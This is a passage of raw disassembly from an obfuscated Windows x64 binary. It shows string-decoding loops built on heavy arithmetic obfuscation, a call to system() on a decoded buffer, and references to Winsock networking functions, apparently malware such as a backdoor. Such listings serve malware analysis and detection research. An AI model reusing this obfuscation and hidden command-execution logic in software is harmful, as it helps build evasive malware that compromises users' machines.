sub dil, al
add dil, 0x6d
jmp 0x14004c478
add r13b, 0x63
movzx eax, sil
and al, r13b
add al, al
sub sil, al
lea edi, [rsi + r13]
add dil, 0x4b
dec rdx
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
lea edx, [r13 - 1]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
add dil, 7
jmp 0x14004c41e
movzx r13d, dl
lea edx, [r13 - 0x65]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x3d
add dil, dl
sub r13b, 0x31
movzx eax, sil
and al, r13b
add al, al
sub sil, al
add sil, 0x57
add sil, r13b
mov rcx, qword [rsp + 0x30]
mov byte [rcx], sil
inc r8
mov rdx, qword [rsp + 0x28]
dec rdx
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
movzx r13d, dl
lea edx, [r13 - 0x7b]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
add dil, 0x5d
add dil, dl
sub r13b, 0x7f
movzx eax, sil
and al, r13b
add al, al
sub sil, al
add sil, 0x79
add sil, r13b
add sil, dil
mov rcx, qword [rsp + 0x30]
mov byte [rcx], sil
mov rdx, qword [rsp + 0x28]
jmp 0x14004c4b9
lea ecx, [rdx - 0x2d]
movzx eax, sil
and al, cl
add al, al
sub sil, al
lea edi, [rcx + rsi]
add dil, 0x3b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdx, rcx
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
movabs r15, 0x2d17e953956e206f
add rdx, r15
movzx eax, dl
and al, r9b
add al, al
movzx edi, sil
sub dil, al
sub dil, 9
movzx r13d, byte [rsp + 0x28]
add dil, dl
add r13b, 0x33
movzx eax, r13b
and al, sil
add al, al
sub r13b, al
sub r13b, 0x65
add r13b, sil
movzx eax, r13b
mov rcx, qword [rsp + 0x30]
mov byte [rcx], al
inc r8
add rax, r8
sub qword [rsp + 0x28], rax
movzx edx, byte [rsp + 0x28]
sub dl, 0x74
movzx eax, dl
and al, sil
mov ecx, socket
sub cl, al
add cl, cl
add cl, dl
add cl, sil
mov rdx, qword [rsp + 0x28]
mov byte [rbp + rdx + 0x150], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rdx, rax
jmp 0x14004c58c
movabs rax, 0xca2ed1b61b78570b
add rax, rdx
and r9b, al
add r9b, r9b
sub sil, r9b
lea edi, [rax + rsi]
sub dil, 0x4d
movzx eax, byte [rbp + rdx + 0x150]
add rax, r8
add rdx, rax
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
add r13b, 0x3d
movzx eax, sil
and al, r13b
add al, al
sub sil, al
lea edi, [rsi + r13]
add dil, 0x55
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc73
sub r13b, 0x75
movzx eax, sil
and al, r13b
add al, al
sub sil, al
lea edi, [rsi + r13]
add dil, 0x33
jmp 0x14004bc59
lea rcx, [rbp + 0x148d51c]
jmp 0x14004c609
lea rcx, [rbp + 0x864775]
jmp 0x14004c609
lea rcx, [rbp + 0x150]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x70], reloc.WS2_32.dll_send
mov byte [rbp + 0x71], 0x34
mov byte [rbp + 0x72], 0xc8
mov byte [rbp + 0x73], 0xcd
mov byte [rbp + 0x74], 0x29
mov byte [rbp + 0x75], 0xd1
mov byte [rbp + 0x76], 0x33
mov byte [rbp + 0x77], 0xd0
mov byte [rbp + 0x78], 0x2c
mov byte [rbp + 0x79], 0xdc
mov byte [rbp + 0x7a], 0xd6
mov byte [rbp + 0x7b], 0x2e
mov byte [rbp + 0x7c], 0xdf
mov byte [rbp + 0x7d], 0x1b
mov byte [rbp + 0x7e], 0xdd
mov byte [rbp + 0x7f], 0xd6
mov byte [rbp + 0x80], 0xdb
mov byte [rbp + 0x81], 0x49
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x82], xmm0
mov qword [rbp + 0x92], rax
mov dword [rbp + 0x9a], eax
movabs r14, 0x63626f1a7a8851cc
movabs r12, 0xf0ec2b8464a998fc
movabs r15, 0x2a274d4f6f98f564
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2e
jae 0x14004cedd
movzx r9d, byte [rbp + r11 + 0x70]
mov esi, r9d
cmp rbx, r11
ja 0x14004ced4
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x14004c6fa
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x6c
lea rcx, [r8 + 2]
lea r10, [r8 + 5]
jmp 0x14004c720
je 0x14004ce5f
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x14004ce0a
lea r10, [r8 + 5]
cmp rbx, r10
je 0x14004cde5
nop word [rax + rax]
cmp r8, r11
ja 0x14004cecb
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x14004c74a
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x14004c772
cmp rbx, rdx
je 0x14004cd9a
cmp rbx, rcx
je 0x14004cd75
cmp rbx, r10
je 0x14004cd46
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004ccfc
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004c9d5
nop
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004c9b2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004c98a
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004c97c
lea rcx, [r8 + 9]
cmp rbx, rcx
je 0x14004c961
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14004c780
mov rbx, rcx
lea r8, [rcx + 0x42]
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14004ceab
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x14004ce8b
lea rcx, [r8 + 0x200]
cmp rbx, rcx
jb 0x14004c845
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14004c8ec
mov rbx, rcx
lea r8, [rcx + 0x41]
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x14004c8d0
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14004c8b5
lea rcx, [r8 + 1]
cmp rbx, rcx
ja 0x14004c896
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14004c888
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004c860
mov rbx, rcx
lea r8, [rcx + 8]
jmp 0x14004c780
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x14004c6c6
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14004c6b3
lea edx, [r11 - 0x50]
mov ecx, 0x18
jmp 0x14004cdee
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
movzx r10d, r11b
jmp 0x14004cd16
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14004ce22
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004ce74
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x64
jae 0x14004cc8e
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14004cbd3
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
cmp r8, 0x5a
jb 0x14004cc81
movzx r10d, r11b
lea ecx, [r10 + 0x48]
movzx eax, cl
and al, r9b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14004cdb8
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14004cd5c
lea edx, [r11 - 0x28]
mov ecx, recv
jmp 0x14004cdee
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14004c6b3
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x14004cdb8
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14004ca31
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x7a
je 0x14004ccdb
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x14004cb0e
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x14004c906
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ca64
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c6b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004ca90
movzx r10d, r11b
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004cd16
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004cab8
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004cd5c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004cae0
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx r10d, r11b
jmp 0x14004ccb1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004c9fb
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
dec r11
inc r11
jmp 0x14004c6b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004cb36
movzx r10d, r11b
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14004cdb8
cmp rbx, rcx
jne 0x14004cb5e
movzx r10d, r11b
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004ccb1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004cb82
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x14004cd5c
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004cbaa
movzx r10d, r11b
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x14004cd16
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004c906
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004ce74
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004cbf8
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004ce74
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004cc24
movzx r10d, r11b
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004cd16
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004cc51
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r11
inc r11
jmp 0x14004c6b3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004c933
movzx r10d, r11b
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004cdb8
mov byte [rbp + r11 + 0x70], dil
inc r11
jmp 0x14004c6b3
movzx r10d, r11b
lea edx, [r10 - 0x20]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r11 + 0x70]
sub dil, al
sub dil, 0x20
add dil, r9b
add dil, dl
sub r10b, 0x54
movzx eax, r10b
and al, r9b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x70], cl
add rbx, r8
jmp 0x14004cd5c
movzx r10d, r11b
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x70]
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x14004cd16
movzx r10d, r11b
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
add r10b, 0x44
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x70], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14004ce22
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004c6b3
lea edx, [r11 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x14004c6b3
movzx r10d, r11b
lea edx, [r10 + 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4c
add dil, dl
add r10b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x70], cl
inc r8
dec r11
inc r11
jmp 0x14004c6b3
lea edx, [r11 - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x14004c6b3
lea rax, [r11 + r12]
and sil, al
mov ecx, select
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r9b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x70
add cl, r9b
mov byte [rbp + r11 + 0x70], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c6b3
lea rax, [r11 + r15]
and sil, al
mov ecx, 0x22
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r9b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c6b3
sub r11b, 4
movzx eax, r11b
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x14004c6b0
add r11b, 0x64
movzx eax, r11b
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x14004c6a0
lea rdx, [rbp + 0x156f580]
jmp 0x14004cee1
lea rdx, [rbp + 0xdf474c]
jmp 0x14004cee1
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x310]
call fcn.140042a40
nop
mov byte [rbp - 0x60], 0xf1
mov byte [rbp - 0x5f], 0xec
mov byte [rbp - 0x5e], 0xd2
mov byte [rbp - 0x5d], 0xd3
mov byte [rbp - 0x5c], 0xe5
mov byte [rbp - 0x5b], 0xd7
mov byte [rbp - 0x5a], __WSAFDIsSet
mov byte [rbp - 0x59], 0xe2
mov byte [rbp - 0x58], 0xcc
mov byte [rbp - 0x57], 0xe0
mov byte [rbp - 0x56], 0x3a
xor eax, eax
mov qword [rbp - 0x55], rax
mov dword [rbp - 0x4d], eax
mov word [rbp - 0x49], ax
mov byte [rbp - 0x47], al
movabs rsi, 0xa3ee6718bf5ad436
movabs r14, 0xc3619fdeba3175e6
movabs r15, 0xebcb354a3e107ca2
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1a
jae 0x14004da31
movzx r10d, byte [rbp + r11 - 0x60]
mov rdx, r10
cmp rbx, r11
ja 0x14004da28
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004cfa2
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x7a
jmp 0x14004cfd0
je 0x14004d9bd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004d990
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004d96f
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14004d92b
nop
cmp r8, r11
ja 0x14004da1f
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14004cffa
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x14004d030
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004d90b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004d8e6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004d8c4
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004d896
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004d56f
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14004d550
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004d52c
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004d50b
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004d4ec
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004d4ce
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004d4b3
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14004d494
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004d479
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004d44f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004d040
mov rbx, rax
lea r8, [rax + 0x42]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14004da02
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004d9e5
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14004d222
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14004d207
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14004d1ec
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14004d403
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14004d3be
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14004d380
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14004d35d
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14004d040
lea rbx, [r8 + 6]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14004d333
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14004d318
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14004d2f9
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14004d2de
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14004d2c0
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14004d2a1
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14004d280
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004d25c
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14004d23d
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14004d040
mov rbx, rax
lea r8, [rax + 8]
jmp 0x14004d040
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x14004d030
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x14004cfd0
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x14004cf73
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
movzx r9d, r11b
jmp 0x14004d945
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
inc r8
dec r11
inc r11
jmp 0x14004cf63
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
dec r11
inc r11
jmp 0x14004cf63
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
movzx r9d, r11b
jmp 0x14004d7ec
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x14004d9a4
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x14004d9a4
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
movzx r9d, r11b
jmp 0x14004d82e
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x14004d859
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x14004cf63
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
mov byte [rbp + r11 - 0x60], dil
inc r11
jmp 0x14004cf63
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
cmp r8, 2
jb 0x14004d373
movzx r9d, r11b
lea ecx, [r9 - 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x38]
jmp 0x14004d945
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
cmp rbx, 0x10
jae 0x14004d7cd
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14004d741
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14004d396
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x14004d813
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14004d645
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x14004d3d4
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x14004cf63
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x14004d859
movzx r9d, r11b
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x14004d82e
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14004d9a4
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
add rbx, r8
jmp 0x14004d9a4
movzx r9d, r11b
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14004d7ec
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
dec r11
inc r11
jmp 0x14004cf63
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x14004cf63
movzx r9d, r11b
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14004d945
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004d593
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x14004d419
jne 0x14004d5bf
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x14004cf63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004d5e7
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d9a4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004d615
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14004cf63
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004d419
movzx r9d, r11b
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d945
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004d66d
movzx r9d, r11b
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x14004d945
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004d69b
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14004cf63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004d6b2
lea edx, [r11 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14004d8cd
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004d6da
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d9a4
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004d706
movzx r9d, r11b
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d82e
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14004d3d4
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x14004cf63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004d774
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
